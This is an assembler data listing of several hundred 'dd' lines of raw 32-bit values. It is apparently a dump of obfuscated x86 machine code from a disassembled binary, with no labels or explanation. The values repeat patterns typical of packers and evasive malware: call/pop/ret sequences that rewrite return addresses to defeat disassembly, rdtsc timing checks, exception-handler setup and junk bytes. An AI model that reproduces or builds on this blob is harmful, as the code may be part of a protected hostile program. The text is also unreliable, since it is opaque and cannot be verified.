		dd 0FFF5CB94h, 1F2F5595h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0B2B3B5DDh
		dd 0BF9D5AFEh, 6CDCC06Eh, 50C6B396h, 0BF665250h, 310FC323h
		dd 0EE9h, 59BA1900h, 2872CA8Eh,	5ACF78F5h, 5A042F94h, 6A9658h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 1F91A7C3h, 0FF499CF1h, 22B255B5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0AD5EC1C2h
		dd 0BBF7C603h, 95FFF9EBh, 61F0E1Dh, 2FD9501h, 0BD83061Fh
		dd 61F2C0Dh, 35840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0EC76C352h
		dd 7398589h, 0E781061Fh, 6D0D8545h, 0D3BB6696h,	66965027h
		dd 654BC781h, 0B255B5FFh, 81660622h, 0FFD413C3h, 1F134995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 41BD8BAEh, 0FF061F0Dh, 22B255B5h, 14E906h
		dd 76D70000h, 0FBFD4112h, 0C37D23A6h, 0BD80585Ch, 92E1F3CBh
		dd 0BF666681h, 95FFFD37h, 61F1075h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 1EC35242h, 7C09C9E2h, 9BD83ADh
		dd 2061F00h, 79840Fh, 0DF8B0000h, 14E9h, 81E1E000h, 127FD9DBh
		dd 3044D4D0h, 2559C328h, 6E5095EFh, 51858B90h, 6A061F17h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0E05CC350h, 0A6DBD8F4h, 0F3803103h, 0C658h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 69C35343h
		dd 6E8F8h, 20B90000h, 0FA4476B1h, 5340F781h, 0C75F1DC7h
		dd 1F129185h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 97E4E3A2h, 0DCE9379Ch
		dd 6AFFFFF2h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 5BADC353h, 561795F4h, 0BB0B2226h
		dd 5F77B527h, 0BBC18BF8h, 6113B0D0h, 19BD858Dh,	8B53061Fh
		dd 1F10E19Dh, 50505F06h, 61606052h, 4CC4B5B8h, 310F6105h
		dd 0FE860h, 86C10000h, 79E43D0Dh, 8D9D6915h, 0C3D42D73h
		dd 0A0BE5FA5h, 614F053Dh, 489585Ah, 6A006A24h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 2B62C357h, 23E0C1ACh, 0EE9AC57h, 69000000h, 981E4BE9h
		dd 0DC8E93BDh, 8A30F667h, 0DE9CDh, 0B3030000h, 0D8B27DA0h
		dd 8381F9B9h, 1F7CF2Bh,	1F1B1D95h, 6A006A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 6814C356h, 6FAB858Dh, 9D890623h, 61F2CA5h, 6A05C083h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 9F3AC352h, 109D4A31h, 8B0F50h, 89000000h
		dd 95892404h, 61F0641h,	6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0F774F6C3h, 6820F89h
		dd 8B000000h, 1F1CF59Dh, 99BD8906h, 6A061F08h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 880FF0h, 0FF000000h,	1F016195h, 74A0BF06h, 8D8D1B84h
		dd 622B1F2h, 745BD89h, 0D1FF061Fh, 12E953h, 48310000h
		dd 4FA3A2F9h, 0C3EA2DA1h, 2879A163h, 49A22FC2h,	7E95Fh
		dd 864E0000h, 941881CCh, 0F5BD83D5h, 1061F0Eh, 59850Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 9D8929C3h, 61F1F25h, 6AFEBF0Fh
		dd 0BD896002h, 61F1171h, 118B0Fh, 0CE90000h, 7B000000h
		dd 67103562h, 0B3678F2Ah, 61B4B564h, 2EBB6650h,	2404895Ch
		dd 95FFF88Ah, 61F2F55h,	0E91CDB80h, 0BDEh, 0E8h, 0ED815D00h
		dd 6236FB5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	9FC35040h, 6E94Ah, 69FA0000h, 356A3494h, 1DB13FBFh
		dd 51006A10h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 79B509CEh, 8D061F1Ah, 228EE485h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 6C15ACAh, 0F2582DFh,	28Eh, 90DE8B00h, 0BB665152h, 5F5B1FAFh
		dd 12E950h, 3FE00000h, 0DF3467FAh, 390CE9A0h, 938B8494h
		dd 56B77ADCh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 820FF8D4h, 0Eh, 219D3160h, 81061F30h
		dd 0A4B61BF1h, 0FF646133h, 35h,	0E1952900h, 64061F00h
		dd 2589h, 0DE8B0000h, 0FFFEB70Fh, 1F102985h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8944395Ch, 1F1EC595h, 0CBF6606h, 0FFF6A5Ch, 0B5FFDBBFh
		dd 61F0F41h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0B4C35747h, 1CED95FFh, 0EEE9061Fh, 89000000h, 1F06B995h
		dd 699D3306h, 0B0061F31h, 6EE78100h, 0E6648EF4h, 0A8A0F70h
		dd 60000000h, 3049B58Bh, 6160061Fh, 5271E461h, 3C5FD98Ah
		dd 0BA830F61h, 0E8000000h, 5, 0C387DB17h, 0DF8B666Eh, 0C8B60F5Fh
		dd 270BD381h, 6BA114Eh,	9000000h, 1F148985h, 1C18B06h
		dd 1F0699BDh, 4E8C106h,	1EB99D09h, 0F766061Fh, 0D59D33E2h
		dd 2B061F2Ah, 0FE8B66C8h, 0BF0FD18Bh, 2E9FEh, 0D88B0000h
		dd 2AD9858Bh, 0C781061Fh, 23E8AC3Ch, 8907C083h,	1F11D99Dh
		dd 0C08306h, 3BF9BF0Fh,	23830FD0h, 56000000h, 11E9h, 0EF30C100h
		dd 9BA281B6h, 953B28D8h, 0AA3F9094h, 0E95BE086h, 2Dh, 19D59D8Bh
		dd 8D8B061Fh, 61F160Dh,	0F01E183h, 1884h, 83D88B00h, 1F160DA5h
		dd 0BF66FE06h, 9589A0D8h, 61F2AD9h, 0E9h, 58B58D00h, 530622EEh
		dd 14B18531h, 6A5F061Fh, 9D9D8B00h, 0FF061F1Bh,	1F1D4595h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0CE44BAF2h, 8E9h, 0B4FE0400h, 462A6C97h
		dd 873B9D9h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 948666C3h, 1E04038Bh, 83A9B7C3h
		dd 9D8BFCE1h, 61F2061h,	51006AFCh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 89609130h, 1F036195h
		dd 11E906h, 56910000h, 0C2AAE3E8h, 791D5429h, 335805BCh
		dd 6140E111h, 0E853C02Bh, 13h, 83E3CFD7h, 22FA2CDh, 0B1D28087h
		dd 0A8DA9290h, 8BBE38FFh, 2B5B5BD8h, 538DBFD2h,	33AD79C5h
		dd 3E8D1C2h, 4E983D0h, 0BD31F475h, 61F3129h, 880Dh, 958BFC00h
		dd 61F0B5Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0A8C35545h, 0B8B723A9h,	20C58D8Bh, 6A061Fh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 79907EC3h, 0E4CC7BE9h, 0FF9442Eh, 683h, 219D8B00h, 50061F2Ch
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	56006A58h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 56F844DCh, 0BD8B35F1h, 61F24D1h, 83DF8B66h, 1F078DBDh
		dd 840F0006h, 5Fh, 6AD8D89h, 0B8061Fh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0F846C357h, 9AAF878h, 0FB22369Fh, 0B08D8DF5h, 6A061F4Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 9BDBC352h, 44D16373h, 0FFF5625Fh,	83DA8BE1h
		dd 1F137DBDh, 840F0006h, 364h, 83DE8B66h, 1F137DBDh, 840F0106h
		dd 36Fh, 0BD835B53h, 61F137Dh, 2A860F03h, 81000003h, 0D81B38DFh
		dd 6A6074h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0CAFEA2C3h, 68C0F51h, 89000000h, 1F326DB5h
		dd 8C665B06h, 0E180F5D9h, 0B18D2904h, 0E8061F2Ch, 0Bh
		dd 8D24A331h, 0CB7A8894h, 6602D466h, 9509D781h,	0FC90A5Bh
		dd 0E984h, 858BFC00h, 61F0DC1h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 88C35343h, 0FC9F4F61h, 0C622435Ah
		dd 9BD2930h, 33061F17h,	1F2EC985h, 50FC8A06h, 489D98Bh
		dd 0FE924h, 88DB0000h, 0BB167B6Bh, 300317F8h, 0CD4951h
		dd 6A006A89h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 4E10C350h, 8D669244h, 7E960CEh
		dd 4C000000h, 919E0483h, 0BF0F9DD0h, 3FB361CEh,	767E4968h
		dd 0D22CBBEAh, 4812B3Bh, 0A885B624h, 0CDBD8B15h, 0FC061F02h
		dd 2DE195FFh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0DCB5FCC3h, 2B999D8Bh, 8589061Fh
		dd 622B255h, 5B14CF81h,	9D235B42h, 61F0DF5h, 19FE9h, 0C7816600h
		dd 858B14EDh, 622B24Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0B9C35343h, 1E4BE969h, 9E9BD98h, 8D000000h
		dd 4199FCB4h, 1233C33Ah, 1800C7h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0C71332C3h
		dd 51B58BF9h, 2B0622B2h, 1F0775BDh, 0A1858B06h,	6A061F13h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8BEFC350h, 1F1B659Dh, 0E8068906h,	0Ah, 0F8A1401Dh
		dd 0DB7C6F0Dh, 0BD8B068Ah, 61F1DA5h, 0C1858B5Fh, 89061F0Dh
		dd 0DD8A0446h, 2BBB6696h, 0D98B5031h, 0FFF98B96h, 22B24DB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0A725E15Ch, 0B59D89B1h, 0E8061F2Eh, 4, 1F03FFh
		dd 0FE8B6653h, 0CE8505Fh, 0D6000000h, 9AAE9575h, 0C04D20C5h
		dd 8B6F0043h, 448B5FDEh, 8B0424h, 7E9h,	0B50CA500h, 5F8F12ECh
		dd 4244489h, 0F3816658h, 858D5467h, 622B255h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 86C35343h, 0FFE6D6D6h
		dd 0E7E0E596h, 671BD8Bh, 6E8061Fh, 3E000000h, 65902C1h
		dd 12E827h, 3CEB0000h, 4EB3F12Ch, 3BB21E25h, 0E3981457h
		dd 0FE5C291Ah, 62DB8166h, 505F5BAEh, 489FB8Bh, 0FEB70F24h
		dd 1FC18D29h, 95FF061Fh, 61F2DE1h, 0F74FBF66h, 56006A61h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0D699EBB8h, 7D9D8B77h, 0C7061F0Dh, 1F137D85h, 306h
		dd 3D9D8900h, 83061F16h, 22B255BDh, 840F0006h, 5, 1BE9h
		dd 0C305000h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0D7DB589h, 840F061Fh, 6, 13F1BD0Bh
		dd 0BD83061Fh, 61F137Dh, 85850F03h, 0F000003h, 0BD83DBB7h
		dd 622B255h, 75840F00h,	6A000003h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0F148C355h
		dd 87037CF7h, 2AC18529h, 0B5FF061Fh, 622B255h, 5BC0B351h
		dd 0A7D9D8Bh, 95FF061Fh, 61F1BC9h, 68D0Fh, 9D8B0000h, 61F09A9h
		dd 0B249B58Bh, 0BD330622h, 61F19D5h, 106C7h, 6A0001h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0F25B83C3h, 550DAEDEh, 0E985314Eh, 96061F20h, 310F5250h
		dd 585A5B57h, 5E950h, 0D3280000h, 962E7163h, 1B85BD8Bh
		dd 0B5FF061Fh, 622B255h, 0FF07EF80h, 1F162195h,	68A0F06h
		dd 81000000h, 0E87032CFh, 8BF8607Ah, 0B58B61C8h, 622B249h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0B6C35242h
		dd 46AA7FE1h, 8B36C259h, 1F2FF185h, 3830F06h, 80000000h
		dd 868969E7h, 0C4h, 1D899D23h, 958B061Fh, 61F0B5Dh, 2EDF8166h
		dd 4C28372h, 2F059D89h,	5089061Fh, 0EE920h, 0BFF30000h
		dd 3D0BB525h, 0D4ECB82h, 45ABCBF5h, 0C797858Dh,	5F570622h
		dd 0B88689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0A294EFC3h, 2AED8D89h, 6A061Fh
		dd 0FFF88B66h, 22B255B5h, 4D9D8906h, 0FF061F06h, 1F2F5595h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 40DD71Ch, 0CE85070h, 95000000h, 254A6968h
		dd 0B2705D92h, 66C7628Dh, 895FDA8Bh, 0BD8B2434h, 61F0F35h
		dd 0B255B5FFh, 6A0622h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0EAD3E1C3h, 37F381C9h, 95FF2788h
		dd 61F0E1Dh, 83D9B70Fh,	1F2C0DBDh, 840F0006h, 61h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B1C35343h, 0F9B531AFh
		dd 50061F16h, 7E8h, 34DAD600h, 0E49D3600h, 895FFB8Bh, 6A2434h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 9EA282C3h, 399209E7h, 95890AE2h, 61F11FDh, 55B5FFFCh
		dd 6A0622B2h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 3A79C350h, 0B8D2514Bh,	9B83D781h
		dd 0DA8B582Fh, 134995FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0E5E9DBC3h, 58A12009h
		dd 8B270C4Fh, 55B5FFFBh, 6A0622B2h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0C7D4C353h
		dd 8D898F9Bh, 61F2DC1h,	107595FFh, 6A061Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0DFBD2C3h
		dd 13E97FE0h, 6B000000h, 0AAE19B91h, 0E4415BC8h, 63AE3C4Dh
		dd 108AF5A2h, 0BD83C522h, 61F0009h, 3D840F02h, 8B000000h
		dd 1F175185h, 4810F06h,	66000000h, 0C65200BFh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0E1FAE9C3h, 89EB885Bh, 9D0B70C8h, 61F2D1Dh, 129185C7h
		dd 61Fh, 0BD030000h, 61F0E45h, 0FFF594E9h, 53006AFFh, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 0D25BA30Eh, 699D0BCAh, 8B061F15h, 50006AC1h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 228DF298h
		dd 0DFD8D01h, 858D061Fh, 61F19BDh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0FEC35242h,	0E8C695DDh, 13h
		dd 51F72CDAh, 0F94CB0E6h, 0D439CC9Eh, 7DE6B4FFh, 0FDC2628h
		dd 8B5FDEB7h, 1F15959Dh, 52509006h, 5B5B5051h, 8B66310Fh
		dd 50585AFAh, 8B90FA8Bh, 1F2E699Dh, 66006A06h, 45F7F381h
		dd 0BD8B006Ah, 61F2AFDh, 7D73858Dh, 0B5010623h,	61F2081h
		dd 8905C083h, 1F0DA59Dh, 0E1BB9006h, 50393C2Fh,	0DE9h
		dd 74930300h, 711A1B32h, 6481A047h, 2B907FD3h, 1F022D9Dh
		dd 0A5BD8906h, 6A061F30h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 367B4BB4h
		dd 8B006A36h, 1F1701BDh, 6195FF06h, 56061F01h, 19BB6660h
		dd 0C6B70FA3h, 8F0F5B61h, 6, 10BD9589h,	8D8D061Fh, 622B1F2h
		dd 68B0Fh, 9D8B0000h, 61F2AB1h,	6AD1FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0BE4970C3h
		dd 0B0416FC8h, 0BD83A011h, 61F0EF5h, 0B0850F01h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0FB6C353h, 688h, 11BD8900h, 6A061F1Bh, 52006A02h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0F6D4CA80h, 328D82B7h, 0CF99D8Bh, 5090061Fh,	96BF6652h
		dd 51310F94h, 310F5250h, 5A5B585Ah, 8B665058h, 6A90F8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 3880EDC3h, 0FFBF6ED9h, 1F2F5595h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0E9C3E248h
		dd 0DABh, 0E8h,	0ED815D00h, 6237D7Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 10C35242h, 12F24723h, 5C5FDE05h
		dd 0EF8060D4h, 9185292Eh, 61061F13h, 2B859D8Bh,	8B66061Fh
		dd 0E4858DF9h, 6A06228Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0EDA6C356h,	8B668D73h
		dd 810F90FEh, 2, 5050DA8Bh, 8EBB6652h, 5A310F80h, 6A9058h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8B0065C3h, 1F0C519Dh, 35FF6406h, 0
		dd 8964FB8Bh, 25h, 0FFD98B00h, 1F102985h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 0C66C5322h, 11E96Ah,	0A03A0000h, 13BE62FAh, 4A33DB73h
		dd 0A9965BD7h, 6AE266F1h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0B8EF922Fh
		dd 32967240h, 68E0F75h,	8B000000h, 1F1099BDh, 25B5FF06h
		dd 6A061F30h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0CD5EC352h, 0F879D781h, 65BF345Dh
		dd 0FF05B607h, 1F1CED95h, 124E906h, 81660000h, 0B09267C3h
		dd 0ABD38000h, 8D0970E6h, 61F0AF5h, 0E4F98B66h,	219D8B71h
		dd 3C061F1Ch, 0FF830F61h, 0F000000h, 0CF81C8B6h, 56FA3909h
		dd 6BAFCh, 9D8B0000h, 61F151Dh,	0EE8C18Bh, 67000000h, 90E018BDh
		dd 0FC66A36Bh, 3F8653h,	5BFE8B0Bh, 6604E8C1h, 0D79CF781h
		dd 0FE2F766h, 0C82BD9B7h, 242D8D89h, 0D18B061Fh, 0A059D33h
		dd 13E9061Fh, 0E8000000h, 0Bh, 38B87774h, 77747621h, 8B2138B8h
		dd 858B5FD9h, 61F1D81h,	12B59D89h, 0C083061Fh, 21BD8B07h
		dd 0F061F03h, 884h, 860F5200h, 0
		dd 0C0835Fh, 8E9h, 65361800h, 9932B29Fh, 0FD03BEFh, 2B83h
		dd 5958900h, 0E9061F0Bh, 56h, 0CB81F860h, 44FA89CFh, 12E961h
		dd 17620000h, 86E2DD4Dh, 666CF3E8h, 0D7A7DBF7h,	0CD6263EEh
		dd 2AD18D8Bh, 0B70F061Fh, 1E183F8h, 24840Fh, 8B660000h
		dd 0D1A583F8h, 0FE061F2Ah, 3840Fh, 0DB800000h, 819589CCh
		dd 8B061F1Dh, 1F326D9Dh, 0E906h, 0B58D0000h, 622F8CDh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0EBC35242h
		dd 0B70FEE13h, 6A006AFAh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 13CAC353h, 830F49DFh
		dd 0Bh,	5890Fh,	81660000h, 0FF2890F7h, 1F1D4595h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0FF344745h, 0B690D5D4h, 45B9493Ch, 6A000008h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 574DC355h, 90F607A6h, 50D5E21h, 8D9D8B52h, 5F061F23h
		dd 6AFCE183h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 8AD1C353h, 50F936D4h, 6AFC6082h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 715C353h,	153F01FFh, 26B7151Fh, 6AC02Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 7C9D3EC3h, 0DE961h, 75360000h, 5E2743F5h, 0E64A60BBh
		dd 2BF6A8BBh, 0A5BD8BD2h, 0AD061F18h, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0EE47C352h, 0AEC7B193h, 2E9ABF66h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A9C35242h
		dd 0DF4D599Bh, 5B8046C3h, 28A0Fh, 0FE8B0000h, 880DDE8Bh
		dd 0F8000000h, 0B5D958Bh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0D6D1E5C3h, 5AFD06FFh
		dd 0E9BD895Ah, 8B061F23h, 1F20C58Dh, 9509F906h,	61F14F5h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 1ACAA6C3h, 5BF13AAh,	89DE8B66h, 1F119995h, 8DBD8306h
		dd 61F07h, 71840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 83899C3h, 6BF7EEFh, 0A8D0FBDh
		dd 60000000h, 0DEC08166h, 0F88B66CDh, 0B861h, 9D010000h
		dd 61F2349h, 4DB08D8Dh,	6A061Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 45785BC3h, 0A5858994h
		dd 0FF061F06h, 919589E1h, 83061F0Fh, 1F137DBDh,	840F0006h
		dd 445h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 17h,	84C35747h, 52DBA4A0h, 7FAEEB81h, 835B2E93h, 1F137DBDh
		dd 840F0106h, 42Ch, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0D9C35545h, 0F1DAD586h, 0DE9h, 9993F600h
		dd 6A3016AEh, 0CB5E3799h, 0BD8397DAh, 61F137Dh,	0B7860F03h
		dd 6A000003h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 4492C355h, 8B4D9F66h, 1F02FDBDh
		dd 6A6006h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0A7A149C3h, 2E789ECDh, 66EFC990h,	6AD98Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0FF5323C3h, 6A04E180h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0E9D1C353h,	12h, 0A72F4D29h
		dd 4D570A3Bh, 0D988099Dh, 0D7FB2C9Eh, 0AF888E2h, 0E2840FC9h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 459FC356h, 4CF81A1h, 8948E284h
		dd 1F2FB19Dh, 0C1858B06h, 66061F0Dh, 8533DE8Bh,	61F2EC9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 4BC35242h
		dd 0ED5C26A8h, 1A18D7C1h, 4895050h, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0A4C8BD97h
		dd 10E9h, 5097F800h, 0E5396F70h, 0FC842759h, 0D0C6C249h
		dd 0E9006AF8h, 8, 52E8740h, 36C52822h, 71001E68h, 171BB88h
		dd 4811492h, 0AE03E124h, 859D0377h, 0FF061F0Dh,	1F2DE195h
		dd 6850F06h, 89000000h,	1F242D95h, 55858906h, 90622B2h
		dd 1F2AED85h, 1D9E906h,	8B660000h, 4D858BFAh, 560622B2h
		dd 0BE9h, 5E396600h, 0B7B5F995h, 25A9827Bh, 1800C75Bh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 4D34C353h, 231A5D0Ch, 14E8h, 8E8FDB00h
		dd 2FEBF6E0h, 0DAEF2475h, 2DC92E63h, 0B237442h,	0CE933h
		dd 4F7D0000h, 9AC0AE5Bh, 0D4EBC5E7h, 665FABF1h,	1D20F381h
		dd 0B251B58Bh, 8BF90622h, 1F13A185h, 8B068906h,	1F2A419Dh
		dd 0C1858B06h, 6A061F0Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 1651C351h, 1D28AAC1h
		dd 0F8A325E5h, 30719D8Bh, 8166061Fh, 8906C2F7h,	0BD890446h
		dd 61F0D85h, 96ABD380h,	0B810Fh, 52500000h, 0FD88B66h
		dd 5AE6B331h, 13E95058h, 0FF000000h, 0E42A3A9Eh, 58B46BCh
		dd 0C009C57Dh, 0AA461AFh, 6A9684FAh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 662CC355h
		dd 2BB5DB81h, 0B24DB5FFh, 6A0622h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0E4163AC3h, 97D0ABD8h
		dd 0F3E80F68h, 0FE870h,	3F090000h, 1519DAADh, 0C886C289h
		dd 27B70147h, 0F525042h, 8B0F31h, 5A000000h, 34815B58h
		dd 0ECEBF024h, 0D5BD2970h, 8D061F2Bh, 22B25585h, 6830F06h
		dd 29000000h, 1F3169B5h, 0E19D8B06h, 90061F00h,	0E8525050h
		dd 0Eh,	6C64FC31h, 6D3BA0C1h, 0B5F5EF05h, 0AE83C5Bh, 40000000h
		dd 0A5E6ECE9h, 51BEB0A8h, 0F5F5BEFh, 0B12BBF31h, 585A7735h
		dd 21BD8B90h, 8B061F1Ch, 1F14FD9Dh, 0E195FF06h,	0E9061F2Dh
		dd 7, 7AC04ED4h, 6149B5D3h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 7CC35242h, 0EB43999Eh, 3D8CBBFAh, 137D85C7h
		dd 3061Fh, 0E3810000h, 3D6D74CEh, 0B255BD83h, 0F000622h
		dd 1184h, 39958900h, 0E9061F2Bh, 21h, 0E3D9D8Bh, 3050061Fh
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 0F238BBC0h, 9D8B65A9h, 61F32B9h, 137DBD83h, 0F03061Fh
